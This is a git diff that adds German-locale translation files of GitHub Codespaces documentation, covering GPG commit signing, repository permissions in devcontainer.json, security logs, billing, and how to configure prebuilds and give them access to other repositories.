+**Note:** If you have linked a dotfiles repository with {% data variables.product.prodname_github_codespaces %}, the Git configuration in your dotfiles may conflict with the configuration that {% data variables.product.prodname_github_codespaces %} requires to sign commits. For more information, see "[Troubleshooting GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces)."
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "GPG verification", select the setting you want for GPG verification.
+  ![Radio buttons to manage GPG verification](/assets/images/help/settings/codespaces-gpg-verification-radio-buttons.png) 
+1. If you chose "Selected repositories", select the dropdown menu, then click a repository you want enable GPG verification for. Repeat for all repositories you want to enable GPG verification for.
+  !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png) 
+
+
+Once you have enabled GPG verification for {% data variables.product.prodname_github_codespaces %}, all commits are signed by default in your codespaces.
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
new file mode 100644
index 0000000000..4519c40fd5
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
@@ -0,0 +1,133 @@
+---
+title: Managing access to other repositories within your codespace
+allowTitleToDifferFromFilename: true
+shortTitle: Repository access
+intro: 'You can manage the repositories that {% data variables.product.prodname_github_codespaces %} can access.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+  - Security
+redirect_from:
+  - /codespaces/managing-your-codespaces/managing-access-and-security-for-your-codespaces
+---
+
+## Overview
+
+By default, your codespace is assigned a token scoped to the repository from which it was created. When you publish a codespace that you created from a template to a new repository on {% data variables.product.product_name %}, the codespace is assigned a token scoped to the new repository. For more information, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication)." If your project needs additional permissions for other repositories, you can configure this in the `devcontainer.json` file and ensure other collaborators have the right set of permissions.
+
+When permissions are listed in the `devcontainer.json` file, you will be prompted to review and authorize the additional permissions as part of codespace creation for that repository. Once you've authorized the listed permissions, {% data variables.product.prodname_github_codespaces %} will remember your choice and will not prompt you for authorization unless the permissions in the `devcontainer.json` file change.
+
+## Prerequisites
+
+To create codespaces with custom permissions defined, you must use one of the following:
+* The {% data variables.product.prodname_dotcom %} web UI
+* [{% data variables.product.prodname_dotcom %} CLI](https://github.com/cli/cli/releases/latest) 2.5.2 or later
+* [{% data variables.product.prodname_github_codespaces %} {% data variables.product.prodname_vscode %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 1.5.3 or later
+
+## Setting additional repository permissions
+
+1. You configure repository permissions for {% data variables.product.prodname_github_codespaces %} in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. For more information, "[Add a dev container to your project](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+
+1. Edit the `devcontainer.json` file, adding the repository name and permissions needed to the `repositories` object:
+
+  ```json{:copy}
+  {
+    "customizations": {
+      "codespaces": {
+        "repositories": {
+          "my_org/my_repo": {
+            "permissions": {
+              "issues": "write"
+            }
+          }
+        }
+      }
+    }
+  }
+  ```
+
+  {% note %}
+
+  **Note:** You can only reference repositories that belong to the same personal account or organization as the repository you are currently working in.
+
+  {% endnote %}
+
+  You can grant as many or as few of the following permissions for each repository listed:
+   * `actions` - read / write
+   * `checks` - read / write
+   * `contents` - read / write
+   * `deployments` - read / write
+   * `discussions` - read / write
+   * `issues` - read / write
+   * `packages` - read
+   * `pages` - read / write
+   * `pull_requests` - read / write
+   * `repository_projects` - read / write
+   * `statuses` - read / write
+   * `workflows` - write
+
+  To set a permission for all repositories in an organization, use the `*` wildcard following your organization name in the `repositories` object.
+
+  ```json
+  {
+    "customizations": {
+      "codespaces": {
+        "repositories": {
+          "my_org/*": {
+            "permissions": {
+              "issues": "write"
+            }
+          }
+        }
+      }
+    }
+  }
+  ```
+
+  To set all permissions for a given repository, use `"permissions": "read-all"` or `"permissions": "write-all"` in the repository object.
+
+  ```json
+  {
+    "customizations": {
+      "codespaces": {
+        "repositories": {
+          "my_org/my_repo": {
+            "permissions": "write-all"
+          }
+        }
+      }
+    }
+  }
+  ```
+
+## Authorizing requested permissions
+
+If additional repository permissions are defined in the `devcontainer.json` file, you will be prompted to review and optionally authorize the permissions when you create a codespace or a prebuild configuration for this repository. When you authorize permissions for a repository, {% data variables.product.prodname_github_codespaces %} will not re-prompt you unless the set of requested permissions has changed for the repository.
+
+![The requested permissions page](/assets/images/help/codespaces/codespaces-accept-permissions.png)
+
+You should only authorize permissions for repositories you know and trust. If you don't trust the set of requested permissions, click **Continue without authorizing** to create the codespace with the base set of permissions. Rejecting additional permissions may impact the functionality of your project within the codespace as the codespace will only have access to the repository from which it was created.
+
+You can only authorize permissions that your personal account already possesses. If a codespace requests permissions for repositories that you don't currently have access to, contact an owner or admin of the repository to obtain sufficient access and then try to create a codespace again.
+
+## Access and security
+
+{% warning %}
+
+**Deprecation note**: The access and security setting described below is now deprecated and is documented here for reference only. To enable expanded access to other repositories, add the requested permissions to your dev container definition for your codespace, as described above.
+
+{% endwarning %}
+
+When you enable access and security for a repository owned by your personal account, any codespaces that are created for that repository will have read permissions to all other repositories you own. If you want to restrict the repositories a codespace can access, you can limit to it to either the repository the codespace was opened for or specific repositories. You should only enable access and security for repositories you trust. 
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Access and security", select the setting you want for your personal account.
+
+  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png)
+
+1. If you chose "Selected repositories", select the dropdown menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own.
+
+  !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
diff --git a/translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md b/translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md
new file mode 100644
index 0000000000..475292c833
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md
@@ -0,0 +1,29 @@
+---
+title: Reviewing your security logs for GitHub Codespaces
+shortTitle: Security logs
+intro: 'You can use the security log to review all actions related to {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+  - Developer
+  - Security
+redirect_from:
+  - /codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces
+---
+
+ 
+
+## About security logs for {% data variables.product.prodname_github_codespaces %}
+
+When you perform an action related to {% data variables.product.prodname_github_codespaces %} in repositories owned by your personal account, you can review the actions in the security log. For information about accessing the log, see "[Reviewing your security log](/github/authenticating-to-github/reviewing-your-security-log#accessing-your-security-log)."
+
+![security log with Codespaces information](/assets/images/help/settings/codespaces-audit-log.png)
+
+The security log includes details on what action occurred and when you performed it. For information about {% data variables.product.prodname_github_codespaces %} actions, see "[{% data variables.product.prodname_codespaces %} category actions](/github/authenticating-to-github/reviewing-your-security-log#codespaces-category-actions)".
+
+## Further reading
+
+- "[Reviewing your organization's audit logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces)"
+- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)"
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/overview.md b/translations/de-DE/content/codespaces/overview.md
new file mode 100644
index 0000000000..5c9c3f3b17
--- /dev/null
+++ b/translations/de-DE/content/codespaces/overview.md
@@ -0,0 +1,71 @@
+---
+title: Übersicht über GitHub Codespaces
+shortTitle: Overview
+intro: 'In diesem Leitfaden werden {% data variables.product.prodname_github_codespaces %} sowie Details zu ihrer Funktionsweise und Nutzung vorgestellt.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /codespaces/codespaces-reference/about-codespaces
+  - /github/developing-online-with-github-codespaces/about-github-codespaces
+  - /github/developing-online-with-codespaces/about-codespaces
+  - /codespaces/getting-started-with-codespaces/about-codespaces
+  - /codespaces/about-codespaces
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+ms.openlocfilehash: a1618c86671bc5b06474c41803c6b34576a897aa
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160800'
+---
+## Was ist ein Codespace?
+
+Ein Codespace ist eine in der Cloud gehostete Entwicklungsumgebung. Du kannst dein Projekt für {% data variables.product.prodname_github_codespaces %} anpassen, indem du [Konfigurationsdateien](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) in deinem Repository committest (was häufig als Configuration-as-Code bezeichnet wird). Dadurch wird eine wiederholbare Codespacekonfiguration für alle Benutzer deines Projekts erstellt.
+
+Jeder Codespace wird auf einem virtuellen Computer ausgeführt, der von {% data variables.product.prodname_dotcom %} gehostet wird. Du kannst den Typ des Computers auswählen, den du verwenden möchtest, je nachdem, welche Ressourcen du benötigst. Es stehen verschiedene Computertypen zur Verfügung, beginnend mit einem 2-Kern-Prozessor, 4 GB RAM und 32 GB Speicher. 
+
+Du kannst über deinen Browser, über {% data variables.product.prodname_vscode %}, über die JetBrains Gateway-Anwendung oder über {% data variables.product.prodname_cli %} eine Verbindung mit deinen Codespaces herstellen.
+
+![Diagramm zur Veranschaulichung der Funktionsweise von {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-diagram.png)
+
+## Verwenden von {% data variables.product.prodname_github_codespaces %}
+
+Du kannst einen Codespace aus einer beliebigen Vorlage, einem beliebigen Branch oder Commit in deinem Repository erstellen, um mit der Entwicklung cloudbasierter Computeressourcen zu beginnen. Wenn du einen Codespace aus einer Vorlage erstellst, kannst du mit einer leeren Vorlage beginnen oder eine Vorlage auswählen, die für die von dir ausgeführte Arbeit geeignet ist.
+
+{% data reusables.codespaces.links-to-get-started %}
+
+### Verwenden von Codespaces im Besitz deines persönlichen Kontos
+
+Alle persönlichen {% data variables.product.prodname_dotcom_the_website %}-Konten verfügen über ein monatliches Kontingent zur kostenlosen Nutzung von {% data variables.product.prodname_github_codespaces %} im kostenlosen oder Pro-Plan. Du kannst mit {% data variables.product.prodname_github_codespaces %} in deinem persönlichen Konto beginnen, ohne Einstellungen zu ändern oder Zahlungsdetails anzugeben.
+
+Du kannst einen Codespace für jedes Repository erstellen und verwenden, den du klonen kannst. Du kannst auch eine Vorlage verwenden, um Codespaces zu erstellen, die anfänglich keinem Repository zugeordnet sind. Wenn du einen Codespace aus einem organisationseigenen Repository erstellst, wird die Verwendung des Codespace entweder der Organisation (sofern die Organisation dafür konfiguriert ist) oder deinem persönlichen Konto in Rechnung gestellt. Codespaces, die aus Vorlagen erstellt wurden, werden immer deinem persönlichen Konto in Rechnung gestellt. 
+
+{% data reusables.codespaces.codespaces-continue-by-paying %} 
+
+### Verwenden von organisationseigenen Codespaces
+
+Organisationsbesitzer können die Verwendung von {% data variables.product.prodname_github_codespaces %} aktivieren, die dem Organisations- oder Unternehmenskonto in Rechnung gestellt werden kann. Dies gilt für Codespaces, die aus Repositorys im Besitz der Organisation erstellt wurden. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_github_codespaces %} für deine Organisation](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization). Du kannst ein Ausgabenlimit für die Verwendung von {% data variables.product.prodname_github_codespaces %} in deinem Organisations- oder Unternehmenskonto festlegen. Weitere Informationen findest du unter [Verwalten von Ausgabenlimits für {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces).
+
+Wenn die Verwendung eines Codespaces einer Organisation oder einem Unternehmen in Rechnung gestellt wird, wird dies angezeigt, wenn der Codespace erstellt wird. Weitere Informationen findest du unter [Erstellen eines Codespaces für ein Repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). Codespaces, die einer Organisation oder ihrem übergeordneten Unternehmen in Rechnung gestellt werden, gehören der Organisation und können von einem Organisationsbesitzer gelöscht werden. Weitere Informationen findest du unter [Löschen eines Codespace](/codespaces/developing-in-codespaces/deleting-a-codespace#deleting-codespaces-in-your-organization). 
+
+### Anpassen von {% data variables.product.prodname_github_codespaces %}
+
+Um die Runtimes und Tools in deinem Codespace anzupassen, kannst du eine oder mehrere Entwicklercontainerkonfigurationen für dein Repository erstellen. Das Hinzufügen von Entwicklercontainerkonfigurationen zu deinem Repository ermöglicht es dir, verschiedene Entwicklungsumgebungen zu definieren, die für die Aufgaben geeignet sind, die Benutzer in deinem Repository ausführen. 
+
+Wenn einen Codespace aus einem Repository ohne Entwicklercontainerkonfigurationen erstellst, klont {% data variables.product.prodname_github_codespaces %} dein Repository in einer Umgebung mit dem standardmäßigen Codespace-Image, das viele Tools, Sprachen und Runtimeumgebungen umfasst. Wenn du einen Codespace aus einer Vorlage erstellst, beginnst du möglicherweise mit einer anfänglichen Konfiguration auf dem Standardimage. Weitere Informationen findest du unter [Einführung in Entwicklungscontainer](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers).
+
+Du kannst Aspekte deiner Codespaceumgebung personalisieren, indem du ein öffentliches [dotfiles](https://dotfiles.github.io/tutorials/)-Repository verwendest. Du kannst dotfiles verwenden, um Shellaliase und -einstellungen festzulegen oder deine persönliche Einstellung der Tools zu installieren, die du verwenden möchtest. Wenn du {% data variables.product.prodname_github_codespaces %} im Browser oder in {% data variables.product.prodname_vscode %} verwendest, kannst du [Einstellungssynchronisierung](https://code.visualstudio.com/docs/editor/settings-sync) verwenden, um deinem Codespace-Editor die gleichen Einstellungen, Tastenkombinationen, Codeausschnitte und Erweiterungen zu geben, die du in deiner lokalen Installation von {% data variables.product.prodname_vscode %} eingerichtet hast. 
+
+Weitere Informationen findest du unter [Anpassen deines Codespace](/codespaces/customizing-your-codespace).
+
+## Abrechnung für {% data variables.product.prodname_codespaces %}
+
+Informationen zu Preisen, Speicher und Nutzung für {% data variables.product.prodname_github_codespaces %} findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces).
+
+{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+
+{% data reusables.codespaces.codespaces-monthly-billing %} Informationen dazu, wie Organisationsbesitzer und Abrechnungsmanager das Ausgabenlimit für {% data variables.product.prodname_github_codespaces %} für eine Organisation verwalten können, findest du unter [Verwalten deines Ausgabenlimits für {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces).
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md
new file mode 100644
index 0000000000..45f4bd4c6b
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md
@@ -0,0 +1,51 @@
+---
+title: About GitHub Codespaces prebuilds
+shortTitle: About prebuilds
+intro: '{% data variables.product.prodname_github_codespaces %} prebuilds help to speed up the creation of new codespaces for large or complex repositories.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+redirect_from:
+  - /codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds
+---
+
+## Overview
+
+{% data reusables.codespaces.prebuilds-definition %}
+
+If it currently takes more than 2 minutes to create a codespace for a repository, you are likely to benefit from using prebuilds. This is because, with a prebuild, any source code, editor extensions, project dependencies, commands, and configurations have already been downloaded, installed, and applied before you create a codespace. 
+
+By default, whenever you push changes to your repository, {% data variables.product.prodname_github_codespaces %} uses {% data variables.product.prodname_actions %} to automatically update your prebuilds.
+
+When prebuilds are available for a particular branch of a repository, a particular dev container configuration file, and for your region, you'll see the "{% octicon "zap" aria-label="The zap icon" %} Prebuild ready" label in the list of machine type options when you create a codespace. If a prebuild is still being created, you will see the "{% octicon "history" aria-label="The history icon" %} Prebuild in progress" label. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+![The dialog box for choosing a machine type](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+When you create a codespace from a template on the "Your codespaces" page, {% data variables.product.prodname_dotcom %} may automatically use a prebuild to speed up creation time. For more information on templates, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)."
+
+## The prebuild process
+
+To create a prebuild you set up a prebuild configuration. When you save the configuration, a {% data variables.product.prodname_actions %} workflow runs to create each of the required prebuilds; one workflow per prebuild. Workflows also run whenever the prebuilds for your configuration need to be updated. This can happen at scheduled intervals, on pushes to a prebuild-enabled repository, or when you change the dev container configuration. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."  
+
+When a prebuild configuration workflow runs, {% data variables.product.prodname_dotcom %} creates a temporary codespace, performing setup operations up to and including any `onCreateCommand` and `updateContentCommand` commands in the `devcontainer.json` file. No `postCreateCommand` commands are run during the creation of a prebuild. For more information about these commands, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. A snapshot of the generated container is then taken and stored.
+
+As with other {% data variables.product.prodname_actions %} workflows, running a prebuild configuration workflow will either consume some of the {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or it will incur charges for {% data variables.product.prodname_actions %} minutes. Storage of codespace prebuilds is billed in the same way as storage of active or stopped codespaces. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)."
+
+When you create a codespace from a prebuild, {% data variables.product.prodname_dotcom %} downloads the existing container snapshot from storage and deploys it on a fresh virtual machine, completing the remaining commands specified in the dev container configuration. Since many operations have already been performed, such as cloning the repository, creating a codespace from a prebuild can be substantially quicker than creating one without a prebuild. This is true where the repository is large and/or `onCreateCommand` commands take a long time to run.
+
+## About pushing changes to prebuild-enabled branches
+
+By default, each push to a branch that has a prebuild configuration results in a {% data variables.product.prodname_dotcom %}-managed {% data variables.product.prodname_actions %} workflow run to update the prebuild. The prebuild workflow has a concurrency limit of one workflow run at a time for a given prebuild configuration, unless changes were made that affect the dev container configuration for the associated repository. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." If a run is already in progress, the workflow run that was queued most recently queued will run next, after the current run completes. 
+
+With the prebuild set to be updated on each push, it means that if there are very frequent pushes to your repository, prebuild updates will occur at least as often as it takes to run the prebuild workflow. That is, if your workflow run typically takes one hour to complete, prebuilds will be created for your repository roughly hourly, if the run succeeds, or more often if there were pushes that change the dev container configuration on the branch.
+
+For example, let's imagine 5 pushes are made, in quick succession, against a branch that has a prebuild configuration. In this situation:
+
+* A workflow run is started for the first push, to update the prebuild.
+* If the 4 remaining pushes do not affect the dev container configuration, the workflow runs for these are queued in a "pending" state. 
+  
+  If any of the remaining 4 pushes change the dev container configuration, then the service will not skip that one and will immediately run the prebuild creation workflow, updating the prebuild accordingly if it succeeds. 
+
+* Once the first run completes, workflow runs for pushes 2, 3, and 4 will be canceled, and the last queued workflow (for push 5) will run and update the prebuild. 
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md
new file mode 100644
index 0000000000..e390ff292c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md
@@ -0,0 +1,62 @@
+---
+title: Allowing a prebuild to access other repositories
+shortTitle: Allow external repo access
+intro: 'You can permit your prebuild to access other {% data variables.product.prodname_dotcom %} repositories so that it can be built successfully.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+permissions: People with admin access to a repository can configure prebuilds for the repository.
+---
+
+By default, the {% data variables.product.prodname_actions %} workflow for a prebuild configuration can only access its own repository contents. Your project may use additional resources, located elsewhere, to build the development environment.
+
+## Allowing a prebuild read access external resources
+
+You can configure read access to other {% data variables.product.prodname_dotcom %} repositories, with the same repository owner, by specifying permissions in the `devcontainer.json` file used by your prebuild configuration. For more information, see "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)."
+
+{% note %}
+
+**Note**: You can only authorize read permissions in this way, and the owner of the target repository must be the same as the owner of the repository for which you're creating a prebuild. For example, if you're creating a prebuild configuration for the `octo-org/octocat` repository, then you'll be able to grant read permissions for other `octo-org/*` repositories if this is specified in the `devcontainer.json` file, and provided you have the permissions yourself.
+
+{% endnote %}
+
+When you create or edit a prebuild configuration for a `devcontainer.json` file that sets up read access to other repositories with the same repository owner, you'll be prompted to grant these permissions when you click **Create** or **Update**. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
+
+## Allowing a prebuild write access external resources
+
+If your project requires write access to resources, or if the external resources reside in a repository with a different owner to the repository for which you are creating a prebuild configuration, you can use a {% data variables.product.pat_generic %} to grant this access.
+
+You will need to create a new personal account and then use this account to create a {% data variables.product.pat_v1 %} with the appropriate scopes.
+
+1. Create a new personal account on {% data variables.product.prodname_dotcom %}. 
+   
+   {% warning %}
+   
+   **Warning**: Although you can generate the {% data variables.product.pat_v1 %} using your existing personal account, we strongly recommend creating a new account with access only to the target repositories required for your scenario. This is because the access token's `repository` permission grants access to all of the repositories that the account has access to. For more information, see "[Signing up for a new GitHub account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)" and "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#considering-cross-repository-access)."
+   
+   {% endwarning %}
+1. Give the new account read access to the required repositories. For more information, see "[Managing an individual's access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)."
+1. While signed into the new account, create a {% data variables.product.pat_v1 %} with the `repo` scope. Optionally, if the prebuild will need to download packages from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, also select the `read:packages` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+   !['repo' and 'packages' scopes selected for a {% data variables.product.pat_v1 %}](/assets/images/help/codespaces/prebuilds-select-scopes.png) 
+   
+   If the prebuild will use a package from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, you will need to either grant the new account access to the package or configure the package to inherit the access permissions of the repository you are prebuilding. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."   
+{% ifversion ghec %}1. Authorize the token for use with SAML single sign-on (SSO), so that it can access repositories that are owned by organizations with SSO enabled. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)."
+
+   ![The button to configure SSO for a {% data variables.product.pat_v1 %}](/assets/images/help/codespaces/configure-SSO-for-PAT.png) 
+
+{% endif %}
+1. Copy the token string. You will assign this to a {% data variables.product.prodname_codespaces %} repository secret.
+1. Sign back into the account that has admin access to the repository. 
+1. In the repository for which you want to create {% data variables.product.prodname_github_codespaces %} prebuilds, create a new {% data variables.product.prodname_codespaces %} repository secret called `CODESPACES_PREBUILD_TOKEN`, giving it the value of the token you created and copied. For more information, see "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-a-repository)."
+
+The {% data variables.product.pat_generic %} will be used for all subsequent prebuilds created for your repository. Unlike other {% data variables.product.prodname_codespaces %} repository secrets, the `CODESPACES_PREBUILD_TOKEN` secret is only used for prebuilding and will not be available to use in codespaces created from your repository.
+
+## Further reading
+
+- "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds)"
+- "[Troubleshooting prebuilds](/codespaces/troubleshooting/troubleshooting-prebuilds)"
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md
new file mode 100644
index 0000000000..c7605e66fc
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md
@@ -0,0 +1,115 @@
+---
+title: Configuring prebuilds
+shortTitle: Configure prebuilds
+intro: You can configure your project to prebuild a codespace automatically each time you push a change to your repository.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+permissions: People with admin access to a repository can configure prebuilds for the repository.
+---
+
+You can set up a prebuild configuration for the combination of a specific branch of your repository with a specific dev container configuration file.
+
+Any branches created from a prebuild-enabled parent branch will typically also get prebuilds for the same dev container configuration. This is because prebuilds for child branches that use the same dev container configuration as the parent branch are, for the most part, identical, so developers can benefit from faster codespace creation times on those branches also. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+Typically, when you configure prebuilds for a branch, prebuilds will be available for multiple machine types. However, if your repository is greater than 32 GB, prebuilds won't be available for 2-core and 4-core machine types, since the storage these provide is limited to 32 GB.
+
+## Prerequisites 
+
+Prebuilds are created using {% data variables.product.prodname_actions %}. As a result, {% data variables.product.prodname_actions %} must be enabled for the repository for which you are configuring prebuilds. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)."
+
+## Configuring prebuilds
+
+{% data reusables.codespaces.accessing-prebuild-configuration %}
+1. In the "Prebuild configuration" section of the page, click **Set up prebuild**.
+
+   ![The 'Set up prebuilds' button](/assets/images/help/codespaces/prebuilds-set-up.png)
+
+1. Choose the branch for which you want to set up prebuilds.
+
+   ![The branch dropdown menu](/assets/images/help/codespaces/prebuilds-choose-branch.png)
+
+   {% note %} 
+
+   **Note**: Any branches created from a prebuild-enabled base branch will typically also get prebuilds for the same dev container configuration. For example, if you enable prebuilds for a dev container configuration file on the default branch of the repository, branches based on the default branch will, in most cases, also get prebuilds for the same dev container configuration.
+
+   {% endnote %}
+
+1. Optionally, in the **Configuration file** dropdown menu that's displayed, choose the `devcontainer.json` configuration file that you want to use for your prebuilds. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)."
+
+   ![The configuration file dropdown menu](/assets/images/help/codespaces/prebuilds-choose-configfile.png)
+
+1. Choose how you want to automatically trigger prebuild updates.
+
+   * **Every push** (the default setting) - With this setting, prebuilds will be updated on every push made to the given branch. This will ensure that codespaces generated from a prebuild always contain the latest codespace configuration, including any recently added or updated dependencies.
+   * **On configuration change** - With this setting, prebuilds will be updated every time associated configuration files for a given repo and branch are updated. This ensures that changes to the dev container configuration files for the repository are used when a codespace is generated from a prebuild. The {% data variables.product.prodname_actions %} workflow that updates the prebuilds will run less often, so this option will use fewer {% data variables.product.prodname_actions %} minutes. However, this option will not guarantee that codespaces always include recently added or updated dependencies, so these may have to be added or updated manually after a codespace has been created.
+   * **Scheduled** - With this setting, you can have your prebuilds updated on a custom schedule that's defined by you. This can reduce consumption of {% data variables.product.prodname_actions %} minutes, however, with this option, codespaces may be created that do not use the latest dev container configuration changes.
+
+   ![The prebuild trigger options](/assets/images/help/codespaces/prebuilds-triggers.png)
+
+1. Optionally, select **Reduce prebuild available to only specific regions** to create prebuilds only in specified regions. Select the regions in which you want prebuilds to be available.
+
+   By default, prebuilds are created in all of the available regions, incurring storage charges per prebuild.
+
+   ![The region selection options](/assets/images/help/codespaces/prebuilds-regions.png)
+
+   {% note %}
+
+   **Notes**: 
+   * The prebuild in each region incurs individual storage charges. You should, therefore, only enable prebuilds for regions in which you know they'll be used. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)."
+   * Developers can set their default region for {% data variables.product.prodname_github_codespaces %}, which can allow you to enable prebuilds for fewer regions. For more information, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)."
+
+   {% endnote %}
+
+1. Optionally, under **Template history**, set the number of prebuild versions to be retained. You can input any number between 1 and 5. The default number of saved versions is 2, which means that only the latest prebuild and the previous version are saved.
+
+   ![The prebuild history setting](/assets/images/help/codespaces/prebuilds-template-history-setting.png)
+
+   Depending on your prebuild trigger settings, your prebuild could change with each push or on each dev container configuration change. Retaining older versions of prebuilds enables you to create a prebuild from an older commit with a different dev container configuration than the current prebuild. This setting allows you to set the number of retained versions to a level that is appropriate for your needs. 
+
+   If you set the number of prebuild versions to save to 1, {% data variables.product.prodname_github_codespaces %} will only save the latest version of the prebuild and will delete the older version each time the template is updated. This means you will not get a prebuilt codespace if you go back to an older dev container configuration.
+   
